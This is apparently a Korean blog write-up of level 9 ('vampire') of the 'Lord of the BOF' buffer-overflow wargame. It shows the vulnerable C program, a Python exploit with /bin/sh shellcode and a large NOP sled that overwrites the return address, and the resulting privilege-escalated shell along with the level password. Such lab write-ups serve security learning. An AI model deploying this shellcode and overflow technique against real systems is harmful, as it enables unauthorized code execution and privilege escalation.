BOF 원정대 – Level 9 (vampire)

이번 문제 소스는 아래와 같다.

/*
 The Lord of the BOF : The Fellowship of the BOF
- vampire
- check 0xbfff
*/

#include <stdio.h>
#include <stdlib.h>

main(int argc, char *argv[])
{
 char buffer[40];

 if(argc < 2){
 printf(argv error\n);
 exit(0);
 }

 if(argv[1][47] != '\xbf')
 {
 printf(stack is still your friend.\n);
 exit(0);
 }

 // here is changed!
 if(argv[1][46] == '\xff')
 {
 printf(but it's not forever\n);
 exit(0);
 }

 strcpy(buffer, argv[1]); 
 printf(%s\n, buffer);
}

코드를 보면 제약조건은 덮어쓸 RET 주소값이 0xbf로 시작해서 다음값이 ff가 아닌 다른값이 와야 한다고 한다. 이전 문제부터 \xff 입력 시 버퍼에 제대로 입력이 안되는 이유 때문에 NOP를 다수 입력하여 \xfe를 입력해왔으므로 이번 문제는 쉽게 풀이가 된다.

#!/usr/bin/python
import os
from struct import pack

shellcode = '\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80'

def main():
 payload = 'A'*44 + pack('<L', 0xbffe4eec) + '\x90'*110000 + shellcode
 os.execl('/home/troll/vampire', 'vampire', payload)

if __name__ == '__main__':
 print '[+] Strat'
 main()
 print '[+] End'
[troll@localhost troll]$ ./ex.py 
[+] Strat
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA1F̀1/shh/bin

 bash$ id
uid=509(vampire) gid=508(troll) egid=509(vampire) groups=508(troll)
bash$ my-pass
euid = 509
music world
bash$ 

답글 남기기

이메일 주소는 공개되지 않습니다. 필수 필드는 *로 표시됩니다